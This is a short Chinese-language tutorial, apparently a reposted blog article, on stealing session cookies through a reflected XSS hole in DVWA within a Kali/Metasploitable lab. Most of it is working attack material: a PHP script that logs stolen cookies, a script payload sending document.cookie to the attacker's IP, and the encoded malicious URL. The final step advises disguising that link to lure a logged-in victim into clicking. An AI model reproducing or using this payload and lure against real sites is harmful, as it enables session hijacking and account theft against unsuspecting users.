如何利用XSS漏洞获取对方cookie

这篇文章主要讲解了“如何利用XSS漏洞获取对方cookie”，文中的讲解内容简单清晰，易于学习与理解，下面请大家跟着小编的思路慢慢深入，一起来研究和学习“如何利用XSS漏洞获取对方cookie”吧！

（1）环境搭建

kali linux：192.168.80.136

目标win7: 192.168.80.130

Metasploitable：192.168.80.129

cookie接收脚本get.php（脚本在/var/www/html文件夹下，html文件夹权限777）：

<?php
$ck =$_GET['cookie'];
error_log("$ck\n",3,"cookie.txt");
?>

       （2）XSS漏洞利用

       目标登录metasploitable的DVWA，点击存在XSS漏洞的页面，输入如下代码后提交：<script>newImage().src="http://192.168.80.136/get.php?cookie="+document.cookie;</script>

（3）查看cookie

       切换到kali，直接查看cookie.txt内容，可以看到获得的cookie。

（4）进一步利用

       目标提交后可以在地址栏看到如下URL：

http://192.168.80.129/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2F192.168.80.136%2Fget.php%3Fcookie%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E#

       可以将以上URL伪装成其他形式（如图片），诱使目标点击，在目标已登录的情况下，可以达到同样获取cookie的效果。